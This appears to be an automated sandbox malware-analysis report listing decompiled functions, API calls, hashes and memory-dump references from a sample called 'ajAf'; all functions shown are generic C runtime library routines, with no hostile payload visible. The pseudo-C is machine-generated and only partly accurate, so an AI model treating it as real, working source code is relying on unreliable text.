API String ID: 3755561058-2787509829
Opcode ID: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction ID: 449411163c578d925a2a08468c3e944840100b366d751407b85c31cd14c02e24
Opcode Fuzzy Hash: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction Fuzzy Hash: C9018E33610A1356C321AB7C5F414AEFBA08EA6F70325430CD079DB5D1EB2AC602B255

Uniqueness

Uniqueness Score: -1.00%

Function 00414738 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E00414738(void* __ebx, void* __edx, intOrPtr __edi, void* __esi, void* __eflags) {
				signed int _t13;
				intOrPtr _t28;
				void* _t29;
				void* _t30;

				_t30 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ebx;
				_push(0xc);
				_push(0x4214d0);
				E0040E1D8(__ebx, __edi, __esi);
				_t28 = E00410735(__ebx, __edx, __edi, _t30);
				_t13 =  *0x422e34; // 0xfffffffe
				if(( *(_t28 + 0x70) & _t13) == 0) {
					L6:
					E0040D6E0(_t22, 0xc);
					 *(_t29 - 4) =  *(_t29 - 4) & 0x00000000;
					_t8 = _t28 + 0x6c; // 0x6c
					_t26 =  *0x422f18; // 0x422e40
					 *((intOrPtr*)(_t29 - 0x1c)) = E004146FA(_t8, _t26);
					 *(_t29 - 4) = 0xfffffffe;
					E004147A2();
				} else {
					_t32 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(E00410735(_t22, __edx, _t26, _t32) + 0x6c));
					}
				}
				if(_t28 == 0) {
					E0040E79A(_t25, _t26, 0x20);
				}
				return E0040E21D(_t28);
			}

0x00414738
0x00414738
0x00414738
0x00414738
0x00414738
0x0041473a
0x0041473f
0x00414749
0x0041474b
0x00414753
0x00414777
0x00414779
0x0041477f
0x00414783
0x00414786
0x00414791
0x00414794
0x0041479b
0x00414755
0x00414755
0x00414759
0x00000000
0x0041475b
0x00414760
0x00414760
0x00414759
0x00414765
0x00414769
0x0041476e
0x00414776

APIs

__getptd.LIBCMT ref: 00414744

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__getptd.LIBCMT ref: 0041475B
__amsg_exit.LIBCMT ref: 00414769
__lock.LIBCMT ref: 00414779

Strings

@.B, xrefs: 00414786

Memory Dump Source

Source File: 00000002.00000002.413978160.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.413978160.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.413978160.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ajAf.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID: @.B
API String ID: 3521780317-470711618
Opcode ID: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction ID: 91aff3cf2d6bbea4e2ea5d49e8e08bf0f41c3eb50374f8394f27d7b6c467aa53
Opcode Fuzzy Hash: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction Fuzzy Hash: 60F09631A407009BE720BB66850678D73A06F81719F91456FE4646B2D1CB7C6981CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 01FD499F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 01FD49AB

Part of subcall function 01FD099C: __getptd_noexit.LIBCMT ref: 01FD099F
Part of subcall function 01FD099C: __amsg_exit.LIBCMT ref: 01FD09AC

__getptd.LIBCMT ref: 01FD49C2
__amsg_exit.LIBCMT ref: 01FD49D0
__lock.LIBCMT ref: 01FD49E0

Strings

@.B, xrefs: 01FD49ED

Memory Dump Source

Source File: 00000002.00000002.414584298.0000000001FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1fc0000_ajAf.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID: @.B
API String ID: 3521780317-470711618
Opcode ID: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction ID: 444adc871db387376cf3a173ba6198d987b7f512d36c60c2a0270ab28544c528
Opcode Fuzzy Hash: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction Fuzzy Hash: D1F09032A40712DBEB20FB699E0576D77A16F10B20F49011AD446A7AD1CB76A801DB97

Uniqueness

Uniqueness Score: -1.00%

Function 01FD4961 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

___addlocaleref.LIBCMT ref: 01FD4973
___removelocaleref.LIBCMT ref: 01FD497E
___freetlocinfo.LIBCMT ref: 01FD4992

Part of subcall function 01FD46F0: ___free_lconv_mon.LIBCMT ref: 01FD4736
Part of subcall function 01FD46F0: ___free_lconv_num.LIBCMT ref: 01FD4757
Part of subcall function 01FD46F0: ___free_lc_time.LIBCMT ref: 01FD47DC

Strings

@.B, xrefs: 01FD4970
@.B, xrefs: 01FD4989

Memory Dump Source

Source File: 00000002.00000002.414584298.0000000001FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1fc0000_ajAf.jbxd

Yara matches

Similarity

API ID: ___addlocaleref___free_lc_time___free_lconv_mon___free_lconv_num___freetlocinfo___removelocaleref
String ID: @.B$@.B
API String ID: 4212647719-183327057
Opcode ID: 3857329619949c293296419ec2be8f51648e9d3bf58d3a63f1cc8ec60b1035b6
Instruction ID: 7e577fed6a646d13fadd55450b7d4b594e23130168e2b4b377a7b349ec3e1e29
Opcode Fuzzy Hash: 3857329619949c293296419ec2be8f51648e9d3bf58d3a63f1cc8ec60b1035b6
Instruction Fuzzy Hash: 2AE02032D11A32C5D631771E7C0037EA6570F91111B1F311EE58AE7844DB374841C097

Uniqueness

Uniqueness Score: -1.00%

Function 0040C73D Relevance: 7.6, APIs: 5, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E0040C73D(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				void* _t16;
				void* _t17;
				intOrPtr _t19;
				void* _t21;
				signed int _t22;
				intOrPtr* _t27;
				intOrPtr _t39;
				intOrPtr _t40;
				intOrPtr _t50;

				_t37 = __edx;
				_push(8);
				_push(0x421140);
				E0040E1D8(__ebx, __edi, __esi);
				_t39 = _a4;
				_t50 = _t39;
				_t51 = _t50 != 0;
				if(_t50 != 0) {
					E0040FB29(_t39);
					_v8 = 0;
					 *(_t39 + 0xc) =  *(_t39 + 0xc) & 0xffffffcf;
					_t16 = E0040FA20(__edx, _t39, _t39);
					__eflags = _t16 - 0xffffffff;
					if(_t16 == 0xffffffff) {
						L6:
						_t17 = 0x4227e0;
					} else {
						_t21 = E0040FA20(__edx, _t39, _t39);
						__eflags = _t21 - 0xfffffffe;
						if(_t21 == 0xfffffffe) {
							goto L6;
						} else {
							_t22 = E0040FA20(__edx, _t39, _t39);
							_t17 = ((E0040FA20(_t37, _t39, _t39) & 0x0000001f) << 6) +  *((intOrPtr*)(0x423f60 + (_t22 >> 5) * 4));
						}
					}
					_t9 = _t17 + 4; // 0xa80
					 *(_t17 + 4) =  *_t9 & 0x000000fd;
					_v8 = 0xfffffffe;
					E0040C735(_t39);
					_t19 = 0;
					__eflags = 0;
				} else {
					_t27 = E0040BFC1(_t51);
					_t40 = 0x16;
					 *_t27 = _t40;
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E0040E744(__edx, _t40, 0);
					_t19 = _t40;
				}
				return E0040E21D(_t19);
			}

0x0040c73d
0x0040c690
0x0040c692
0x0040c697
0x0040c69e
0x0040c6a3
0x0040c6a8
0x0040c6aa
0x0040c6c8
0x0040c6ce
0x0040c6d1
0x0040c6d6
0x0040c6dc
0x0040c6df
0x0040c70f
0x0040c70f
0x0040c6e1
0x0040c6e2
0x0040c6e8
0x0040c6eb
0x00000000
0x0040c6ed
0x0040c6ee
0x0040c70b
0x0040c70b
0x0040c6eb
0x0040c714
0x0040c71b
0x0040c71e
0x0040c725
0x0040c72a
0x0040c72a
0x0040c6ac
0x0040c6ac
0x0040c6b3
0x0040c6b4
0x0040c6b6
0x0040c6b7
0x0040c6b8
0x0040c6b9
0x0040c6ba
0x0040c6bb
0x0040c6c3
0x0040c6c3
0x0040c731

APIs

__lock_file.LIBCMT ref: 0040C6C8
__fileno.LIBCMT ref: 0040C6D6
__fileno.LIBCMT ref: 0040C6E2
__fileno.LIBCMT ref: 0040C6EE
__fileno.LIBCMT ref: 0040C6FE

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 00000002.00000002.413978160.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.413978160.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.413978160.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ajAf.jbxd

Yara matches

Similarity

API ID: __fileno$__decode_pointer__getptd_noexit__lock_file
String ID:
API String ID: 2805327698-0
Opcode ID: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction ID: db056c5abb1484b678344f3d998e50672bc49cccd6cfe868de5707b4f3f6250f
Opcode Fuzzy Hash: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction Fuzzy Hash: 1A01253231451096C261ABBE5CC246E76A0DE81734726877FF024BB1D2DB3C99429E9D

Uniqueness

Uniqueness Score: -1.00%

Function 00413FCC Relevance: 7.5, APIs: 5, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E00413FCC(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x421490);
				E0040E1D8(__ebx, __edi, __esi);
				_t31 = E00410735(__ebx, __edx, __edi, _t35);
				_t15 =  *0x422e34; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E0040D6E0(_t25, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x422d38; // 0x2291648
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x422910;
								if(__eflags != 0) {
									_push(_t33);
									E0040B6B5(_t25, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x422d38; // 0x2291648
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x422d38; // 0x2291648
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E00414067();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E0040E79A(_t29, _t31, 0x20);
				}
				return E0040E21D(_t33);
			}

0x00413fcc
0x00413fcc
0x00413fcc
0x00413fcc
0x00413fce
0x00413fd3
0x00413fdd
0x00413fdf
0x00413fe7
0x00414008
0x0041400e
0x00414012
0x00414015
0x00414018
0x0041401e
0x00414020
0x00414022
0x00414025
0x0041402b
0x0041402d
0x0041402f
0x00414035
0x00414037
0x00414038
0x0041403d
0x00414035
0x0041402d
0x0041403e
0x00414043
0x00414046
0x0041404c
0x00414050
0x00414050
0x00414056
0x0041405d
0x00413fef
0x00413fef
0x00413fef
0x00413ff4
0x00413ff8
0x00413ffd
0x00414005

APIs

__getptd.LIBCMT ref: 00413FD8

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__amsg_exit.LIBCMT ref: 00413FF8
__lock.LIBCMT ref: 00414008
InterlockedDecrement.KERNEL32(?), ref: 00414025
InterlockedIncrement.KERNEL32(02291648), ref: 00414050

Memory Dump Source

Source File: 00000002.00000002.413978160.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.413978160.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.413978160.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ajAf.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction ID: 77fb08d543caf33888dccec20a3998fa005b1348dfeb798e4aa279577202aa48
Opcode Fuzzy Hash: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction Fuzzy Hash: 9301A531A01621ABD724AF67990579E7B60AF48764F50442BE814B72D0C77C6DC2CBDD

Uniqueness

Uniqueness Score: -1.00%

Function 01FD4233 Relevance: 7.5, APIs: 5, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 01FD423F

Part of subcall function 01FD099C: __getptd_noexit.LIBCMT ref: 01FD099F
Part of subcall function 01FD099C: __amsg_exit.LIBCMT ref: 01FD09AC

__amsg_exit.LIBCMT ref: 01FD425F
__lock.LIBCMT ref: 01FD426F
InterlockedDecrement.KERNEL32(?), ref: 01FD428C
InterlockedIncrement.KERNEL32(00422D38), ref: 01FD42B7

Memory Dump Source

Source File: 00000002.00000002.414584298.0000000001FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1fc0000_ajAf.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction ID: a4bd60743465c820b91b665056ac8138a5f467a7a48bc6795e9d93e8cdd204cb
Opcode Fuzzy Hash: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction Fuzzy Hash: FA01D631E01622EBE721AB68DD057BEBB61BF44B21F480019E810A7A90C7766581DFD9

Uniqueness

Uniqueness Score: -1.00%

Function 01FD1161 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON

Download Yara Rule

Strings

, xrefs: 01FD11AF
l, xrefs: 01FD1188
2, xrefs: 01FD11E2

Memory Dump Source

Source File: 00000002.00000002.414584298.0000000001FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1fc0000_ajAf.jbxd

Yara matches

Similarity

API ID:
String ID: $2$l
API String ID: 0-3132104027
Opcode ID: 93ec677eb6f37e13f038257329e2d2bc6cd763e678568b4eabc98800338fe0cb
Instruction ID: 97be57f3a83f623b6e1bb14e7dd0fb0663b5164294672e90f1d09037735723d4
Opcode Fuzzy Hash: 93ec677eb6f37e13f038257329e2d2bc6cd763e678568b4eabc98800338fe0cb
Instruction Fuzzy Hash: AF41A035C4826DCEEF358A2998883F87BB7AB01315F1C01CAC59A67191C7774A87CF46

Uniqueness

Uniqueness Score: -1.00%

Function 01FCFCBF Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 01FCFCE1
__calloc_crt.LIBCMT ref: 01FCFCFA

Strings

`$B, xrefs: 01FCFD33
P$B, xrefs: 01FCFD11

Memory Dump Source

Source File: 00000002.00000002.414584298.0000000001FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1fc0000_ajAf.jbxd

Yara matches

Similarity

API ID: __calloc_crt
String ID: P$B$`$B
API String ID: 3494438863-235554963
Opcode ID: fdf4f6b62053dea64867d0c1085960dee66dbdb5e7cbac4bce55836661d1e8cf
Instruction ID: d8bf386e8d0a2c58d63eaeb07c3c13fd7af85b23a35547044b8a37d036fa2e20
Opcode Fuzzy Hash: fdf4f6b62053dea64867d0c1085960dee66dbdb5e7cbac4bce55836661d1e8cf
Instruction Fuzzy Hash: 58112C72B086135BE728CF1CBE60B757793EB84B34764423EE621CB2A4E771D4835648

Uniqueness

Uniqueness Score: -1.00%

Function 00413610 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 65%

			E00413610() {
				signed long long _v12;
				signed int _v20;
				signed long long _v28;
				signed char _t8;

				_t8 = GetModuleHandleA("KERNEL32");
				if(_t8 == 0) {
					L6:
					_v20 =  *0x41fb50;
					_v28 =  *0x41fb48;
					asm("fsubr qword [ebp-0x18]");
					_v12 = _v28 / _v20 * _v20;
					asm("fld1");
					asm("fcomp qword [ebp-0x8]");
					asm("fnstsw ax");
					if((_t8 & 0x00000005) != 0) {
						return 0;
					} else {
						return 1;
					}
				} else {
					__eax = GetProcAddress(__eax, "IsProcessorFeaturePresent");
					if(__eax == 0) {
						goto L6;
					} else {
						_push(0);
						return __eax;
					}
				}
			}

0x00413615
0x0041361d
0x00413634
0x004135e0
0x004135e9
0x004135f5
0x004135f8
0x004135fb
0x004135fd
0x00413600
0x00413605
0x0041360f
0x00413607
0x0041360b
0x0041360b
0x0041361f
0x00413625
0x0041362d
0x00000000
0x0041362f
0x0041362f
0x00413633
0x00413633
0x0041362d

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0040CDF5), ref: 00413615
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00413625

Strings

KERNEL32, xrefs: 00413610
IsProcessorFeaturePresent, xrefs: 0041361F

Memory Dump Source

Source File: 00000002.00000002.413978160.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.413978160.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.413978160.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ajAf.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction ID: 3bb3582238f4ecb0ba7b9e8fe578e45fdcf0af3c55e5dfe2a5e3893bc0ad87fb
Opcode Fuzzy Hash: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction Fuzzy Hash: 96F06230600A09E2DB105FA1ED1E2EFBB74BB80746F5101A19196B0194DF38D0B6825A

Uniqueness

Uniqueness Score: -1.00%

Function 004018F0 Relevance: 6.3, APIs: 5, Instructions: 77
stringCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E004018F0(void* __eax, char** __ecx, void* __edx, char* _a4, int _a8) {
				void* __ebx;
				void* __ebp;
				signed int _t12;
				void* _t21;
				int _t25;
				void* _t30;
				int _t32;
				char* _t35;

				_t21 = __edx;
				_t35 = _a4;
				_t17 = __ecx;
				if(_t35 != 0) {
					_t25 = lstrlenA(_t35) + 1;
					E004017E0(_t17, _t21, _t35, _t17, _t25,  &(_t17[1]), 0x80);
					_t12 = MultiByteToWideChar(_a8, 0, _t35, _t25,  *_t17, _t25);
					asm("sbb esi, esi");
					_t30 =  ~_t12 + 1;
					if(_t30 != 0) {
						_t12 = GetLastError();
						if(_t12 == 0x7a) {
							_t32 = MultiByteToWideChar(_a8, 0, _t35, _t25, 0, 0);
							E004017E0(_t17, _a8, _t35, _t17, _t32,  &(_t17[1]), 0x80);
							_t12 = MultiByteToWideChar(_a8, 0, _t35, _t25,  *_t17, _t32);
							asm("sbb esi, esi");
							_t30 =  ~_t12 + 1;
						}
						if(_t30 != 0) {
							_t12 = E00401030();
						}
					}
					return _t12;
				} else {
					 *__ecx = _t35;
					return __eax;
				}
			}

0x004018f0
0x004018f2
0x004018f6
0x004018fa
0x00401917
0x0040191a
0x0040192f
0x00401939
0x0040193b
0x0040193e
0x00401940
0x00401949
0x0040195e
0x0040196b
0x00401980
0x0040198a
0x0040198c
0x0040198c
0x0040198f
0x00401991
0x00401991
0x0040198f
0x0040199a
0x004018fc
0x004018fc
0x00401900
0x00401900

APIs

lstrlenA.KERNEL32(?), ref: 00401906
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000001), ref: 0040192F
GetLastError.KERNEL32 ref: 00401940
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401958
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401980

Memory Dump Source

Source File: 00000002.00000002.413978160.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.413978160.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.413978160.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ajAf.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLastlstrlen
String ID:
API String ID: 3322701435-0
Opcode ID: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction ID: 001f8acd6346668203df0e37acbb0982e2c141f20d3592a2a78c171e7710dcce
Opcode Fuzzy Hash: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction Fuzzy Hash: 4011C4756003247BD3309B15CC88F677F6CEB86BA9F008169FD85AB291C635AC04C6F8

Uniqueness

Uniqueness Score: -1.00%

Function 01FC1B57 Relevance: 6.3, APIs: 5, Instructions: 77stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?), ref: 01FC1B6D
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000001), ref: 01FC1B96
GetLastError.KERNEL32 ref: 01FC1BA7
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 01FC1BBF
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 01FC1BE7

Memory Dump Source

Source File: 00000002.00000002.414584298.0000000001FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1fc0000_ajAf.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLastlstrlen
String ID:
API String ID: 3322701435-0
Opcode ID: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction ID: cec0f8b09f3199ed60b61a7a80ec9a67795b4b7e1771e8c58a707cf0b82cb4ee
Opcode Fuzzy Hash: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction Fuzzy Hash: A311E775500355FBD3309719CC88F677F6CEF86FA9F048118FE459A282D632A824CAB4

Uniqueness

Uniqueness Score: -1.00%

Function 0040C748 Relevance: 6.1, APIs: 4, Instructions: 148
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 86%

			E0040C748(void* __edx, void* __esi, char _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __ebp;
				signed int _t70;
				signed int _t71;
				intOrPtr _t73;
				signed int _t75;
				signed int _t81;
				char _t82;
				signed int _t84;
				intOrPtr* _t86;
				signed int _t87;
				intOrPtr* _t90;
				signed int _t92;
				signed int _t94;
				void* _t96;
				signed char _t98;
				signed int _t99;
				intOrPtr _t102;
				signed int _t103;
				intOrPtr* _t104;
				signed int _t111;
				signed int _t114;
				intOrPtr _t115;

				_t105 = __esi;
				_t97 = __edx;
				_t104 = _a4;
				_t87 = 0;
				_t121 = _t104;
				if(_t104 != 0) {
					_t70 = E0040FA20(__edx, _t104, _t104);
					__eflags =  *(_t104 + 4);
					_v8 = _t70;
					if(__eflags < 0) {
						 *(_t104 + 4) = 0;
					}
					_push(1);
					_push(_t87);
					_push(_t70);
					_t71 = E00411939(_t87, _t97, _t104, _t105, __eflags);
					__eflags = _t71 - _t87;
					_v12 = _t71;
					if(_t71 < _t87) {
						L2:
						return _t71 | 0xffffffff;
					} else {
						_t98 =  *(_t104 + 0xc);
						__eflags = _t98 & 0x00000108;
						if((_t98 & 0x00000108) != 0) {
							_t73 =  *_t104;
							_t92 =  *(_t104 + 8);
							_push(_t105);
							_v16 = _t73 - _t92;
							__eflags = _t98 & 0x00000003;
							if((_t98 & 0x00000003) == 0) {
								__eflags = _t98;
								if(__eflags < 0) {
									L15:
									__eflags = _v12 - _t87;
									if(_v12 != _t87) {
										__eflags =  *(_t104 + 0xc) & 0x00000001;
										if(( *(_t104 + 0xc) & 0x00000001) == 0) {
											L40:
											_t75 = _v16 + _v12;
											__eflags = _t75;
											L41:
											return _t75;
										}
										_t99 =  *(_t104 + 4);
										__eflags = _t99 - _t87;
										if(_t99 != _t87) {
											_t90 = 0x423f60 + (_v8 >> 5) * 4;
											_a4 = _t73 - _t92 + _t99;
											_t111 = (_v8 & 0x0000001f) << 6;
											__eflags =  *( *_t90 + _t111 + 4) & 0x00000080;
											if(__eflags == 0) {
												L39:
												_t66 =  &_v12;
												 *_t66 = _v12 - _a4;
												__eflags =  *_t66;
												goto L40;
											}
											_push(2);
											_push(0);
											_push(_v8);
											__eflags = E00411939(_t90, _t99, _t104, _t111, __eflags) - _v12;
											if(__eflags != 0) {
												_push(0);
												_push(_v12);
												_push(_v8);
												_t81 = E00411939(_t90, _t99, _t104, _t111, __eflags);
												__eflags = _t81;
												if(_t81 >= 0) {
													_t82 = 0x200;
													__eflags = _a4 - 0x200;
													if(_a4 > 0x200) {
														L35:
														_t82 =  *((intOrPtr*)(_t104 + 0x18));
														L36:
														_a4 = _t82;
														__eflags =  *( *_t90 + _t111 + 4) & 0x00000004;
														L37:
														if(__eflags != 0) {
															_t63 =  &_a4;
															 *_t63 = _a4 + 1;
															__eflags =  *_t63;
														}
														goto L39;
													}
													_t94 =  *(_t104 + 0xc);
													__eflags = _t94 & 0x00000008;
													if((_t94 & 0x00000008) == 0) {
														goto L35;
													}
													__eflags = _t94 & 0x00000400;
													if((_t94 & 0x00000400) == 0) {
														goto L36;
													}
													goto L35;
												}
												L31:
												_t75 = _t81 | 0xffffffff;
												goto L41;
											}
											_t84 =  *(_t104 + 8);
											_t96 = _a4 + _t84;
											while(1) {
												__eflags = _t84 - _t96;
												if(_t84 >= _t96) {
													break;
												}
												__eflags =  *_t84 - 0xa;
												if( *_t84 == 0xa) {
													_t44 =  &_a4;
													 *_t44 = _a4 + 1;
													__eflags =  *_t44;
												}
												_t84 = _t84 + 1;
												__eflags = _t84;
											}
											__eflags =  *(_t104 + 0xc) & 0x00002000;
											goto L37;
										}
										_v16 = _t87;
										goto L40;
									}
									_t75 = _v16;
									goto L41;
								}
								_t81 = E0040BFC1(__eflags);
								 *_t81 = 0x16;
								goto L31;
							}
							_t102 =  *((intOrPtr*)(0x423f60 + (_v8 >> 5) * 4));
							_t114 = (_v8 & 0x0000001f) << 6;
							__eflags =  *(_t102 + _t114 + 4) & 0x00000080;
							if(( *(_t102 + _t114 + 4) & 0x00000080) == 0) {
								goto L15;
							}
							_t103 = _t92;
							__eflags = _t103 - _t73;
							if(_t103 >= _t73) {
								goto L15;
							}
							_t115 = _t73;
							do {
								__eflags =  *_t103 - 0xa;
								if( *_t103 == 0xa) {
									_v16 = _v16 + 1;
									_t87 = 0;
									__eflags = 0;
								}
								_t103 = _t103 + 1;
								__eflags = _t103 - _t115;
							} while (_t103 < _t115);
							goto L15;
						}
						return _t71 -  *(_t104 + 4);
					}
				}
				_t86 = E0040BFC1(_t121);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				 *_t86 = 0x16;
				_t71 = E0040E744(__edx, _t104, __esi);
				goto L2;
			}

0x0040c748
0x0040c748
0x0040c752
0x0040c755
0x0040c757
0x0040c759
0x0040c77c
0x0040c781
0x0040c785
0x0040c788
0x0040c78a
0x0040c78a
0x0040c78d
0x0040c78f
0x0040c790
0x0040c791
0x0040c799
0x0040c79b
0x0040c79e
0x0040c773
0x00000000
0x0040c7a0
0x0040c7a0
0x0040c7a3
0x0040c7a9
0x0040c7b3
0x0040c7b5
0x0040c7b8
0x0040c7bd
0x0040c7c0
0x0040c7c3
0x0040c806
